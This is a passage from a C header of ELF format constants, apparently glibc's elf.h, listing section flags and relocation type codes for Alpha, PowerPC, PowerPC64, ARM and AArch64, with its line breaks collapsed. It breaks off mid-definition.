SHT_ALPHA_DEBUG 0x70000001 #define SHT_ALPHA_REGINFO 0x70000002 /* Legal values for sh_flags field of Elf64_Shdr. */ #define SHF_ALPHA_GPREL 0x10000000 /* Legal values for st_other field of Elf64_Sym. */ #define STO_ALPHA_NOPV 0x80 /* No PV required. */ #define STO_ALPHA_STD_GPLOAD 0x88 /* PV only used for initial ldgp. */ /* Alpha relocs. */ #define R_ALPHA_NONE 0 /* No reloc */ #define R_ALPHA_REFLONG 1 /* Direct 32 bit */ #define R_ALPHA_REFQUAD 2 /* Direct 64 bit */ #define R_ALPHA_GPREL32 3 /* GP relative 32 bit */ #define R_ALPHA_LITERAL 4 /* GP relative 16 bit w/optimization */ #define R_ALPHA_LITUSE 5 /* Optimization hint for LITERAL */ #define R_ALPHA_GPDISP 6 /* Add displacement to GP */ #define R_ALPHA_BRADDR 7 /* PC+4 relative 23 bit shifted */ #define R_ALPHA_HINT 8 /* PC+4 relative 16 bit shifted */ #define R_ALPHA_SREL16 9 /* PC relative 16 bit */ #define R_ALPHA_SREL32 10 /* PC relative 32 bit */ #define R_ALPHA_SREL64 11 /* PC relative 64 bit */ #define R_ALPHA_GPRELHIGH 17 /* GP relative 32 bit, high 16 bits */ #define R_ALPHA_GPRELLOW 18 /* GP relative 32 bit, low 16 bits */ #define R_ALPHA_GPREL16 19 /* GP relative 16 bit */ #define R_ALPHA_COPY 24 /* Copy symbol at runtime */ #define R_ALPHA_GLOB_DAT 25 /* Create GOT entry */ #define R_ALPHA_JMP_SLOT 26 /* Create PLT entry */ #define R_ALPHA_RELATIVE 27 /* Adjust by program base */ #define R_ALPHA_TLS_GD_HI 28 #define R_ALPHA_TLSGD 29 #define R_ALPHA_TLS_LDM 30 #define R_ALPHA_DTPMOD64 31 #define R_ALPHA_GOTDTPREL 32 #define R_ALPHA_DTPREL64 33 #define R_ALPHA_DTPRELHI 34 #define R_ALPHA_DTPRELLO 35 #define R_ALPHA_DTPREL16 36 #define R_ALPHA_GOTTPREL 37 #define R_ALPHA_TPREL64 38 #define R_ALPHA_TPRELHI 39 #define R_ALPHA_TPRELLO 40 #define R_ALPHA_TPREL16 41 /* Keep this the last entry. */ #define R_ALPHA_NUM 46 /* Magic values of the LITUSE relocation addend. */ #define LITUSE_ALPHA_ADDR 0 #define LITUSE_ALPHA_BASE 1 #define LITUSE_ALPHA_BYTOFF 2 #define LITUSE_ALPHA_JSR 3 #define LITUSE_ALPHA_TLS_GD 4 #define LITUSE_ALPHA_TLS_LDM 5 /* Legal values for d_tag of Elf64_Dyn. */ #define DT_ALPHA_PLTRO (DT_LOPROC + 0) #define DT_ALPHA_NUM 1 /* PowerPC specific declarations */ /* Values for Elf32/64_Ehdr.e_flags. */ #define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ /* Cygnus local bits below */ #define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ #define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib flag */ /* PowerPC relocations defined by the ABIs */ #define R_PPC_NONE 0 #define R_PPC_ADDR32 1 /* 32bit absolute address */ #define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ #define R_PPC_ADDR16 3 /* 16bit absolute address */ #define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ #define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ #define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ #define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ #define R_PPC_ADDR14_BRTAKEN 8 #define R_PPC_ADDR14_BRNTAKEN 9 #define R_PPC_REL24 10 /* PC relative 26 bit */ #define R_PPC_REL14 11 /* PC relative 16 bit */ #define R_PPC_REL14_BRTAKEN 12 #define R_PPC_REL14_BRNTAKEN 13 #define R_PPC_GOT16 14 #define R_PPC_GOT16_LO 15 #define R_PPC_GOT16_HI 16 #define R_PPC_GOT16_HA 17 #define R_PPC_PLTREL24 18 #define R_PPC_COPY 19 #define R_PPC_GLOB_DAT 20 #define R_PPC_JMP_SLOT 21 #define R_PPC_RELATIVE 22 #define R_PPC_LOCAL24PC 23 #define R_PPC_UADDR32 24 #define R_PPC_UADDR16 25 #define R_PPC_REL32 26 #define R_PPC_PLT32 27 #define R_PPC_PLTREL32 28 #define R_PPC_PLT16_LO 29 #define R_PPC_PLT16_HI 30 #define R_PPC_PLT16_HA 31 #define R_PPC_SDAREL16 32 #define R_PPC_SECTOFF 33 #define R_PPC_SECTOFF_LO 34 #define R_PPC_SECTOFF_HI 35 #define R_PPC_SECTOFF_HA 36 /* PowerPC relocations defined for the TLS access ABI. */ #define R_PPC_TLS 67 /* none (sym+add)@tls */ #define R_PPC_DTPMOD32 68 /* word32 (sym+add)@dtpmod */ #define R_PPC_TPREL16 69 /* half16* (sym+add)@tprel */ #define R_PPC_TPREL16_LO 70 /* half16 (sym+add)@tprel@l */ #define R_PPC_TPREL16_HI 71 /* half16 (sym+add)@tprel@h */ #define R_PPC_TPREL16_HA 72 /* half16 (sym+add)@tprel@ha */ #define R_PPC_TPREL32 73 /* word32 (sym+add)@tprel */ #define R_PPC_DTPREL16 74 /* half16* (sym+add)@dtprel */ #define R_PPC_DTPREL16_LO 75 /* half16 (sym+add)@dtprel@l */ #define R_PPC_DTPREL16_HI 76 /* half16 (sym+add)@dtprel@h */ #define R_PPC_DTPREL16_HA 77 /* half16 (sym+add)@dtprel@ha */ #define R_PPC_DTPREL32 78 /* word32 (sym+add)@dtprel */ #define R_PPC_GOT_TLSGD16 79 /* half16* (sym+add)@got@tlsgd */ #define R_PPC_GOT_TLSGD16_LO 80 /* half16 (sym+add)@got@tlsgd@l */ #define R_PPC_GOT_TLSGD16_HI 81 /* half16 (sym+add)@got@tlsgd@h */ #define R_PPC_GOT_TLSGD16_HA 82 /* half16 (sym+add)@got@tlsgd@ha */ #define R_PPC_GOT_TLSLD16 83 /* half16* (sym+add)@got@tlsld */ #define R_PPC_GOT_TLSLD16_LO 84 /* half16 (sym+add)@got@tlsld@l */ #define R_PPC_GOT_TLSLD16_HI 85 /* half16 (sym+add)@got@tlsld@h */ #define R_PPC_GOT_TLSLD16_HA 86 /* half16 (sym+add)@got@tlsld@ha */ #define R_PPC_GOT_TPREL16 87 /* half16* (sym+add)@got@tprel */ #define R_PPC_GOT_TPREL16_LO 88 /* half16 (sym+add)@got@tprel@l */ #define R_PPC_GOT_TPREL16_HI 89 /* half16 (sym+add)@got@tprel@h */ #define R_PPC_GOT_TPREL16_HA 90 /* half16 (sym+add)@got@tprel@ha */ #define R_PPC_GOT_DTPREL16 91 /* half16* (sym+add)@got@dtprel */ #define R_PPC_GOT_DTPREL16_LO 92 /* half16* (sym+add)@got@dtprel@l */ #define R_PPC_GOT_DTPREL16_HI 93 /* half16* (sym+add)@got@dtprel@h */ #define R_PPC_GOT_DTPREL16_HA 94 /* half16* (sym+add)@got@dtprel@ha */ #define R_PPC_TLSGD 95 /* none (sym+add)@tlsgd */ #define R_PPC_TLSLD 96 /* none (sym+add)@tlsld */ /* The remaining relocs are from the Embedded ELF ABI, and are not in the SVR4 ELF ABI. */ #define R_PPC_EMB_NADDR32 101 #define R_PPC_EMB_NADDR16 102 #define R_PPC_EMB_NADDR16_LO 103 #define R_PPC_EMB_NADDR16_HI 104 #define R_PPC_EMB_NADDR16_HA 105 #define R_PPC_EMB_SDAI16 106 #define R_PPC_EMB_SDA2I16 107 #define R_PPC_EMB_SDA2REL 108 #define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ #define R_PPC_EMB_MRKREF 110 #define R_PPC_EMB_RELSEC16 111 #define R_PPC_EMB_RELST_LO 112 #define R_PPC_EMB_RELST_HI 113 #define R_PPC_EMB_RELST_HA 114 #define R_PPC_EMB_BIT_FLD 115 #define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ /* Diab tool relocations. */ #define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ #define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ #define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ #define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ #define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ #define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ /* GNU extension to support local ifunc. */ #define R_PPC_IRELATIVE 248 /* GNU relocs used in PIC code sequences. */ #define R_PPC_REL16 249 /* half16 (sym+add-.) */ #define R_PPC_REL16_LO 250 /* half16 (sym+add-.)@l */ #define R_PPC_REL16_HI 251 /* half16 (sym+add-.)@h */ #define R_PPC_REL16_HA 252 /* half16 (sym+add-.)@ha */ /* This is a phony reloc to handle any old fashioned TOC16 references that may still be in object files. */ #define R_PPC_TOC16 255 /* PowerPC specific values for the Dyn d_tag field. */ #define DT_PPC_GOT (DT_LOPROC + 0) #define DT_PPC_OPT (DT_LOPROC + 1) #define DT_PPC_NUM 2 /* PowerPC specific values for the DT_PPC_OPT Dyn entry. */ #define PPC_OPT_TLS 1 /* PowerPC64 relocations defined by the ABIs */ #define R_PPC64_NONE R_PPC_NONE #define R_PPC64_ADDR32 R_PPC_ADDR32 /* 32bit absolute address */ #define R_PPC64_ADDR24 R_PPC_ADDR24 /* 26bit address, word aligned */ #define R_PPC64_ADDR16 R_PPC_ADDR16 /* 16bit absolute address */ #define R_PPC64_ADDR16_LO R_PPC_ADDR16_LO /* lower 16bits of address */ #define R_PPC64_ADDR16_HI R_PPC_ADDR16_HI /* high 16bits of address. */ #define R_PPC64_ADDR16_HA R_PPC_ADDR16_HA /* adjusted high 16bits. */ #define R_PPC64_ADDR14 R_PPC_ADDR14 /* 16bit address, word aligned */ #define R_PPC64_ADDR14_BRTAKEN R_PPC_ADDR14_BRTAKEN #define R_PPC64_ADDR14_BRNTAKEN R_PPC_ADDR14_BRNTAKEN #define R_PPC64_REL24 R_PPC_REL24 /* PC-rel. 26 bit, word aligned */ #define R_PPC64_REL14 R_PPC_REL14 /* PC relative 16 bit */ #define R_PPC64_REL14_BRTAKEN R_PPC_REL14_BRTAKEN #define R_PPC64_REL14_BRNTAKEN R_PPC_REL14_BRNTAKEN #define R_PPC64_GOT16 R_PPC_GOT16 #define R_PPC64_GOT16_LO R_PPC_GOT16_LO #define R_PPC64_GOT16_HI R_PPC_GOT16_HI #define R_PPC64_GOT16_HA R_PPC_GOT16_HA #define R_PPC64_COPY R_PPC_COPY #define R_PPC64_GLOB_DAT R_PPC_GLOB_DAT #define R_PPC64_JMP_SLOT R_PPC_JMP_SLOT #define R_PPC64_RELATIVE R_PPC_RELATIVE #define R_PPC64_UADDR32 R_PPC_UADDR32 #define R_PPC64_UADDR16 R_PPC_UADDR16 #define R_PPC64_REL32 R_PPC_REL32 #define R_PPC64_PLT32 R_PPC_PLT32 #define R_PPC64_PLTREL32 R_PPC_PLTREL32 #define R_PPC64_PLT16_LO R_PPC_PLT16_LO #define R_PPC64_PLT16_HI R_PPC_PLT16_HI #define R_PPC64_PLT16_HA R_PPC_PLT16_HA #define R_PPC64_SECTOFF R_PPC_SECTOFF #define R_PPC64_SECTOFF_LO R_PPC_SECTOFF_LO #define R_PPC64_SECTOFF_HI R_PPC_SECTOFF_HI #define R_PPC64_SECTOFF_HA R_PPC_SECTOFF_HA #define R_PPC64_ADDR30 37 /* word30 (S + A - P) >> 2 */ #define R_PPC64_ADDR64 38 /* doubleword64 S + A */ #define R_PPC64_ADDR16_HIGHER 39 /* half16 #higher(S + A) */ #define R_PPC64_ADDR16_HIGHERA 40 /* half16 #highera(S + A) */ #define R_PPC64_ADDR16_HIGHEST 41 /* half16 #highest(S + A) */ #define R_PPC64_ADDR16_HIGHESTA 42 /* half16 #highesta(S + A) */ #define R_PPC64_UADDR64 43 /* doubleword64 S + A */ #define R_PPC64_REL64 44 /* doubleword64 S + A - P */ #define R_PPC64_PLT64 45 /* doubleword64 L + A */ #define R_PPC64_PLTREL64 46 /* doubleword64 L + A - P */ #define R_PPC64_TOC16 47 /* half16* S + A - .TOC */ #define R_PPC64_TOC16_LO 48 /* half16 #lo(S + A - .TOC.) */ #define R_PPC64_TOC16_HI 49 /* half16 #hi(S + A - .TOC.) */ #define R_PPC64_TOC16_HA 50 /* half16 #ha(S + A - .TOC.) */ #define R_PPC64_TOC 51 /* doubleword64 .TOC */ #define R_PPC64_PLTGOT16 52 /* half16* M + A */ #define R_PPC64_PLTGOT16_LO 53 /* half16 #lo(M + A) */ #define R_PPC64_PLTGOT16_HI 54 /* half16 #hi(M + A) */ #define R_PPC64_PLTGOT16_HA 55 /* half16 #ha(M + A) */ #define R_PPC64_ADDR16_DS 56 /* half16ds* (S + A) >> 2 */ #define R_PPC64_ADDR16_LO_DS 57 /* half16ds #lo(S + A) >> 2 */ #define R_PPC64_GOT16_DS 58 /* half16ds* (G + A) >> 2 */ #define R_PPC64_GOT16_LO_DS 59 /* half16ds #lo(G + A) >> 2 */ #define R_PPC64_PLT16_LO_DS 60 /* half16ds #lo(L + A) >> 2 */ #define R_PPC64_SECTOFF_DS 61 /* half16ds* (R + A) >> 2 */ #define R_PPC64_SECTOFF_LO_DS 62 /* half16ds #lo(R + A) >> 2 */ #define R_PPC64_TOC16_DS 63 /* half16ds* (S + A - .TOC.) >> 2 */ #define R_PPC64_TOC16_LO_DS 64 /* half16ds #lo(S + A - .TOC.) >> 2 */ #define R_PPC64_PLTGOT16_DS 65 /* half16ds* (M + A) >> 2 */ #define R_PPC64_PLTGOT16_LO_DS 66 /* half16ds #lo(M + A) >> 2 */ /* PowerPC64 relocations defined for the TLS access ABI. */ #define R_PPC64_TLS 67 /* none (sym+add)@tls */ #define R_PPC64_DTPMOD64 68 /* doubleword64 (sym+add)@dtpmod */ #define R_PPC64_TPREL16 69 /* half16* (sym+add)@tprel */ #define R_PPC64_TPREL16_LO 70 /* half16 (sym+add)@tprel@l */ #define R_PPC64_TPREL16_HI 71 /* half16 (sym+add)@tprel@h */ #define R_PPC64_TPREL16_HA 72 /* half16 (sym+add)@tprel@ha */ #define R_PPC64_TPREL64 73 /* doubleword64 (sym+add)@tprel */ #define R_PPC64_DTPREL16 74 /* half16* (sym+add)@dtprel */ #define R_PPC64_DTPREL16_LO 75 /* half16 (sym+add)@dtprel@l */ #define R_PPC64_DTPREL16_HI 76 /* half16 (sym+add)@dtprel@h */ #define R_PPC64_DTPREL16_HA 77 /* half16 (sym+add)@dtprel@ha */ #define R_PPC64_DTPREL64 78 /* doubleword64 (sym+add)@dtprel */ #define R_PPC64_GOT_TLSGD16 79 /* half16* (sym+add)@got@tlsgd */ #define R_PPC64_GOT_TLSGD16_LO 80 /* half16 (sym+add)@got@tlsgd@l */ #define R_PPC64_GOT_TLSGD16_HI 81 /* half16 (sym+add)@got@tlsgd@h */ #define R_PPC64_GOT_TLSGD16_HA 82 /* half16 (sym+add)@got@tlsgd@ha */ #define R_PPC64_GOT_TLSLD16 83 /* half16* (sym+add)@got@tlsld */ #define R_PPC64_GOT_TLSLD16_LO 84 /* half16 (sym+add)@got@tlsld@l */ #define R_PPC64_GOT_TLSLD16_HI 85 /* half16 (sym+add)@got@tlsld@h */ #define R_PPC64_GOT_TLSLD16_HA 86 /* half16 (sym+add)@got@tlsld@ha */ #define R_PPC64_GOT_TPREL16_DS 87 /* half16ds* (sym+add)@got@tprel */ #define R_PPC64_GOT_TPREL16_LO_DS 88 /* half16ds (sym+add)@got@tprel@l */ #define R_PPC64_GOT_TPREL16_HI 89 /* half16 (sym+add)@got@tprel@h */ #define R_PPC64_GOT_TPREL16_HA 90 /* half16 (sym+add)@got@tprel@ha */ #define R_PPC64_GOT_DTPREL16_DS 91 /* half16ds* (sym+add)@got@dtprel */ #define R_PPC64_GOT_DTPREL16_LO_DS 92 /* half16ds (sym+add)@got@dtprel@l */ #define R_PPC64_GOT_DTPREL16_HI 93 /* half16 (sym+add)@got@dtprel@h */ #define R_PPC64_GOT_DTPREL16_HA 94 /* half16 (sym+add)@got@dtprel@ha */ #define R_PPC64_TPREL16_DS 95 /* half16ds* (sym+add)@tprel */ #define R_PPC64_TPREL16_LO_DS 96 /* half16ds (sym+add)@tprel@l */ #define R_PPC64_TPREL16_HIGHER 97 /* half16 (sym+add)@tprel@higher */ #define R_PPC64_TPREL16_HIGHERA 98 /* half16 (sym+add)@tprel@highera */ #define R_PPC64_TPREL16_HIGHEST 99 /* half16 (sym+add)@tprel@highest */ #define R_PPC64_TPREL16_HIGHESTA 100 /* half16 (sym+add)@tprel@highesta */ #define R_PPC64_DTPREL16_DS 101 /* half16ds* (sym+add)@dtprel */ #define R_PPC64_DTPREL16_LO_DS 102 /* half16ds (sym+add)@dtprel@l */ #define R_PPC64_DTPREL16_HIGHER 103 /* half16 (sym+add)@dtprel@higher */ #define R_PPC64_DTPREL16_HIGHERA 104 /* half16 (sym+add)@dtprel@highera */ #define R_PPC64_DTPREL16_HIGHEST 105 /* half16 (sym+add)@dtprel@highest */ #define R_PPC64_DTPREL16_HIGHESTA 106 /* half16 (sym+add)@dtprel@highesta */ #define R_PPC64_TLSGD 107 /* none (sym+add)@tlsgd */ #define R_PPC64_TLSLD 108 /* none (sym+add)@tlsld */ #define R_PPC64_TOCSAVE 109 /* none */ /* Added when HA and HI relocs were changed to report overflows. */ #define R_PPC64_ADDR16_HIGH 110 #define R_PPC64_ADDR16_HIGHA 111 #define R_PPC64_TPREL16_HIGH 112 #define R_PPC64_TPREL16_HIGHA 113 #define R_PPC64_DTPREL16_HIGH 114 #define R_PPC64_DTPREL16_HIGHA 115 /* GNU extension to support local ifunc. */ #define R_PPC64_JMP_IREL 247 #define R_PPC64_IRELATIVE 248 #define R_PPC64_REL16 249 /* half16 (sym+add-.) */ #define R_PPC64_REL16_LO 250 /* half16 (sym+add-.)@l */ #define R_PPC64_REL16_HI 251 /* half16 (sym+add-.)@h */ #define R_PPC64_REL16_HA 252 /* half16 (sym+add-.)@ha */ /* e_flags bits specifying ABI. 1 for original function descriptor using ABI, 2 for revised ABI without function descriptors, 0 for unspecified or not using any features affected by the differences. */ #define EF_PPC64_ABI 3 /* PowerPC64 specific values for the Dyn d_tag field. */ #define DT_PPC64_GLINK (DT_LOPROC + 0) #define DT_PPC64_OPD (DT_LOPROC + 1) #define DT_PPC64_OPDSZ (DT_LOPROC + 2) #define DT_PPC64_OPT (DT_LOPROC + 3) #define DT_PPC64_NUM 4 /* PowerPC64 specific bits in the DT_PPC64_OPT Dyn entry. */ #define PPC64_OPT_TLS 1 #define PPC64_OPT_MULTI_TOC 2 #define PPC64_OPT_LOCALENTRY 4 /* PowerPC64 specific values for the Elf64_Sym st_other field. */ #define STO_PPC64_LOCAL_BIT 5 #define STO_PPC64_LOCAL_MASK (7 << STO_PPC64_LOCAL_BIT) #define PPC64_LOCAL_ENTRY_OFFSET(other) \ (((1 << (((other) & STO_PPC64_LOCAL_MASK) >> STO_PPC64_LOCAL_BIT)) >> 2) << 2) /* ARM specific declarations */ /* Processor specific flags for the ELF header e_flags field. */ #define EF_ARM_RELEXEC 0x01 #define EF_ARM_HASENTRY 0x02 #define EF_ARM_INTERWORK 0x04 #define EF_ARM_APCS_26 0x08 #define EF_ARM_APCS_FLOAT 0x10 #define EF_ARM_PIC 0x20 #define EF_ARM_ALIGN8 0x40 /* 8-bit structure alignment is in use */ #define EF_ARM_NEW_ABI 0x80 #define EF_ARM_OLD_ABI 0x100 #define EF_ARM_SOFT_FLOAT 0x200 #define EF_ARM_VFP_FLOAT 0x400 #define EF_ARM_MAVERICK_FLOAT 0x800 #define EF_ARM_ABI_FLOAT_SOFT 0x200 /* NB conflicts with EF_ARM_SOFT_FLOAT */ #define EF_ARM_ABI_FLOAT_HARD 0x400 /* NB conflicts with EF_ARM_VFP_FLOAT */ /* Other constants defined in the ARM ELF spec. version B-01. */ /* NB. These conflict with values defined above. */ #define EF_ARM_SYMSARESORTED 0x04 #define EF_ARM_DYNSYMSUSESEGIDX 0x08 #define EF_ARM_MAPSYMSFIRST 0x10 #define EF_ARM_EABIMASK 0XFF000000 /* Constants defined in AAELF. */ #define EF_ARM_BE8 0x00800000 #define EF_ARM_LE8 0x00400000 #define EF_ARM_EABI_VERSION(flags) ((flags) & EF_ARM_EABIMASK) #define EF_ARM_EABI_UNKNOWN 0x00000000 #define EF_ARM_EABI_VER1 0x01000000 #define EF_ARM_EABI_VER2 0x02000000 #define EF_ARM_EABI_VER3 0x03000000 #define EF_ARM_EABI_VER4 0x04000000 #define EF_ARM_EABI_VER5 0x05000000 /* Additional symbol types for Thumb. */ #define STT_ARM_TFUNC STT_LOPROC /* A Thumb function. */ #define STT_ARM_16BIT STT_HIPROC /* A Thumb label. */ /* ARM-specific values for sh_flags */ #define SHF_ARM_ENTRYSECT 0x10000000 /* Section contains an entry point */ #define SHF_ARM_COMDEF 0x80000000 /* Section may be multiply defined in the input to a link step. */ /* ARM-specific program header flags */ #define PF_ARM_SB 0x10000000 /* Segment contains the location addressed by the static base. */ #define PF_ARM_PI 0x20000000 /* Position-independent segment. */ #define PF_ARM_ABS 0x40000000 /* Absolute segment. */ /* Processor specific values for the Phdr p_type field. */ #define PT_ARM_EXIDX (PT_LOPROC + 1) /* ARM unwind segment. */ /* Processor specific values for the Shdr sh_type field. */ #define SHT_ARM_EXIDX (SHT_LOPROC + 1) /* ARM unwind section. */ #define SHT_ARM_PREEMPTMAP (SHT_LOPROC + 2) /* Preemption details. */ #define SHT_ARM_ATTRIBUTES (SHT_LOPROC + 3) /* ARM attributes section. */ /* AArch64 relocs. */ #define R_AARCH64_NONE 0 /* No relocation. */ /* ILP32 AArch64 relocs. */ #define R_AARCH64_P32_ABS32 1 /* Direct 32 bit. */ #define R_AARCH64_P32_COPY 180 /* Copy symbol at runtime. */ #define R_AARCH64_P32_GLOB_DAT 181 /* Create GOT entry. */ #define R_AARCH64_P32_JUMP_SLOT 182 /* Create PLT entry. */ #define R_AARCH64_P32_RELATIVE 183 /* Adjust by program base. */ #define R_AARCH64_P32_TLS_DTPMOD 184 /* Module number, 32 bit. */ #define R_AARCH64_P32_TLS_DTPREL 185 /* Module-relative offset, 32 bit. */ #define R_AARCH64_P32_TLS_TPREL 186 /* TP-relative offset, 32 bit. */ #define R_AARCH64_P32_TLSDESC 187 /* TLS Descriptor. */ #define R_AARCH64_P32_IRELATIVE 188 /* STT_GNU_IFUNC relocation. */ /* LP64 AArch64 relocs. */ #define R_AARCH64_ABS64 257 /* Direct 64 bit. */ #define R_AARCH64_ABS32 258 /* Direct 32 bit. */ #define R_AARCH64_ABS16 259 /* Direct 16-bit. */ #define R_AARCH64_PREL64 260 /* PC-relative 64-bit. */ #define R_AARCH64_PREL32 261 /* PC-relative 32-bit. */ #define R_AARCH64_PREL16 262 /* PC-relative 16-bit. */ #define R_AARCH64_MOVW_UABS_G0 263 /* Dir. MOVZ imm. from bits 15:0. */ #define R_AARCH64_MOVW_UABS_G0_NC 264 /* Likewise for MOVK; no check. */ #define R_AARCH64_MOVW_UABS_G1 265 /* Dir. MOVZ imm. from bits 31:16. */ #define R_AARCH64_MOVW_UABS_G1_NC 266 /* Likewise for MOVK; no check. */ #define R_AARCH64_MOVW_UABS_G2 267 /* Dir. MOVZ imm. from bits 47:32. */ #define R_AARCH64_MOVW_UABS_G2_NC 268 /* Likewise for MOVK; no check. */ #define R_AARCH64_MOVW_UABS_G3 269 /* Dir. MOV{K,Z} imm. from 63:48. */ #define R_AARCH64_MOVW_SABS_G0 270 /* Dir. MOV{N,Z} imm. from 15:0. */ #define R_AARCH64_MOVW_SABS_G1 271 /* Dir. MOV{N,Z} imm. from 31:16. */ #define R_AARCH64_MOVW_SABS_G2 272 /* Dir. MOV{N,Z} imm. from 47:32. */ #define R_AARCH64_LD_PREL_LO19 273 /* PC-rel. LD imm. from bits 20:2. */ #define R_AARCH64_ADR_PREL_LO21 274 /* PC-rel. ADR imm. from bits 20:0. */ #define R_AARCH64_ADR_PREL_PG_HI21 275 /* Page-rel. ADRP imm. from 32:12. */ #define R_AARCH64_ADR_PREL_PG_HI21_NC 276 /* Likewise; no overflow check. */ #define R_AARCH64_ADD_ABS_LO12_NC 277 /* Dir. ADD imm. from bits 11:0. */ #define R_AARCH64_LDST8_ABS_LO12_NC 278 /* Likewise for LD/ST; no check. */ #define R_AARCH64_TSTBR14 279 /* PC-rel. TBZ/TBNZ imm. from 15:2. */ #define R_AARCH64_CONDBR19 280 /* PC-rel. cond. br. imm. from 20:2. */ #define R_AARCH64_JUMP26 282 /* PC-rel. B imm. from bits 27:2. */ #define R_AARCH64_CALL26 283 /* Likewise for CALL. */ #define R_AARCH64_LDST16_ABS_LO12_NC 284 /* Dir. ADD imm. from bits 11:1. */ #define R_AARCH64_LDST32_ABS_LO12_NC 285 /* Likewise for bits 11:2. */ #define R_AARCH64_LDST64_ABS_LO12_NC 286 /* Likewise for bits 11:3. */ #define R_AARCH64_MOVW_PREL_G0 287 /* PC-rel. MOV{N,Z} imm. from 15:0. */ #define R_AARCH64_MOVW_PREL_G0_NC 288 /* Likewise for MOVK; no check. */ #define R_AARCH64_MOVW_PREL_G1 289 /* PC-rel. MOV{N,Z} imm. from 31:16. */ #define R_AARCH64_MOVW_PREL_G1_NC 290 /* Likewise for MOVK; no check. */ #define R_AARCH64_MOVW_PREL_G2 291 /* PC-rel. MOV{N,Z} imm. from 47:32. */ #define R_AARCH64_MOVW_PREL_G2_NC 292 /* Likewise for MOVK; no check. */ #define R_AARCH64_MOVW_PREL_G3 293 /* PC-rel. MOV{N,Z} imm. from 63:48. */ #define R_AARCH64_LDST128_ABS_LO12_NC 299 /* Dir. ADD imm. from bits 11:4. */ #define R_AARCH64_MOVW_GOTOFF_G0 300 /* GOT-rel. off. MOV{N,Z} imm. 15:0. */ #define R_AARCH64_MOVW_GOTOFF_G0_NC 301 /* Likewise for MOVK; no check. */ #define R_AARCH64_MOVW_GOTOFF_G1 302 /* GOT-rel. o. MOV{N,Z} imm. 31:16. */ #define R_AARCH64_MOVW_GOTOFF_G1_NC 303 /* Likewise for MOVK; no check. */ #define R_AARCH64_MOVW_GOTOFF_G2 304 /* GOT-rel. o. MOV{N,Z} imm. 47:32. */ #define R_AARCH64_MOVW_GOTOFF_G2_NC 305 /* Likewise for MOVK; no check. */ #define R_AARCH64_MOVW_GOTOFF_G3 306 /* GOT-rel. o. MOV{N,Z} imm. 63:48. */ #define R_AARCH64_GOTREL64 307 /* GOT-relative 64-bit. */ #define R_AARCH64_GOTREL32 308 /* GOT-relative 32-bit. */ #define R_AARCH64_GOT_LD_PREL19 309 /* PC-rel. GOT off. load imm. 20:2. */ #define R_AARCH64_LD64_GOTOFF_LO15 310 /* GOT-rel. off. LD/ST imm. 14:3. */ #define R_AARCH64_ADR_GOT_PAGE 311 /* P-page-rel. GOT off. ADRP 32:12. */ #define R_AARCH64_LD64_GOT_LO12_NC 312 /* Dir. GOT off. LD/ST imm. 11:3. */ #define R_AARCH64_LD64_GOTPAGE_LO15 313 /* GOT-page-rel. GOT off. LD/ST 14:3 */ #define R_AARCH64_TLSGD_ADR_PREL21 512 /* PC-relative ADR imm. 20:0. */ #define R_AARCH64_TLSGD_ADR_PAGE21 513 /* page-rel. ADRP imm. 32:12. */ #define R_AARCH64_TLSGD_ADD_LO12_NC 514 /* direct ADD imm. from 11:0. */ #define R_AARCH64_TLSGD_MOVW_G1 515 /* GOT-rel. MOV{N,Z} 31:16. */ #define R_AARCH64_TLSGD_MOVW_G0_NC 516 /* GOT-rel. MOVK imm. 15:0. */ #define R_AARCH64_TLSLD_ADR_PREL21 517 /* Like 512; local dynamic model. */ #define R_AARCH64_TLSLD_ADR_PAGE21 518 /* Like 513; local dynamic model. */ #define R_AARCH64_TLSLD_ADD_LO12_NC 519 /* Like 514; local dynamic model. */ #define R_AARCH64_TLSLD_MOVW_G1 520 /* Like 515; local dynamic model. */ #define R_AARCH64_TLSLD_MOVW_G0_NC 521 /* Like 516; local dynamic model. */ #define R_AARCH64_TLSLD_LD_PREL19 522 /* TLS PC-rel. load imm. 20:2. */ #define R_AARCH64_TLSLD_MOVW_DTPREL_G2 523 /* TLS DTP-rel. MOV{N,Z} 47:32. */ #define R_AARCH64_TLSLD_MOVW_DTPREL_G1 524 /* TLS DTP-rel. MOV{N,Z} 31:16. */ #define R_AARCH64_TLSLD_MOVW_DTPREL_G1_NC 525 /* Likewise; MOVK; no check. */ #define R_AARCH64_TLSLD_MOVW_DTPREL_G0 526 /* TLS DTP-rel. MOV{N,Z} 15:0. */ #define R_AARCH64_TLSLD_MOVW_DTPREL_G0_NC 527 /* Likewise; MOVK; no check. */ #define R_AARCH64_TLSLD_ADD_DTPREL_HI12 528 /* DTP-rel. ADD imm. from 23:12. */ #define R_AARCH64_TLSLD_ADD_DTPREL_LO12 529 /* DTP-rel. ADD imm. from 11:0. */ #define R_AARCH64_TLSLD_ADD_DTPREL_LO12_NC 530 /* Likewise; no ovfl. check. */ #define R_AARCH64_TLSLD_LDST8_DTPREL_LO12 531 /* DTP-rel. LD/ST imm. 11:0. */ #define R_AARCH64_TLSLD_LDST8_DTPREL_LO12_NC 532 /* Likewise; no check. */ #define R_AARCH64_TLSLD_LDST16_DTPREL_LO12 533 /* DTP-rel. LD/ST imm. 11:1. */ #define R_AARCH64_TLSLD_LDST16_DTPREL_LO12_NC 534 /* Likewise; no check. */ #define R_AARCH64_TLSLD_LDST32_DTPREL_LO12 535 /* DTP-rel. LD/ST imm. 11:2. */ #define R_AARCH64_TLSLD_LDST32_DTPREL_LO12_NC 536 /* Likewise; no check. */ #define 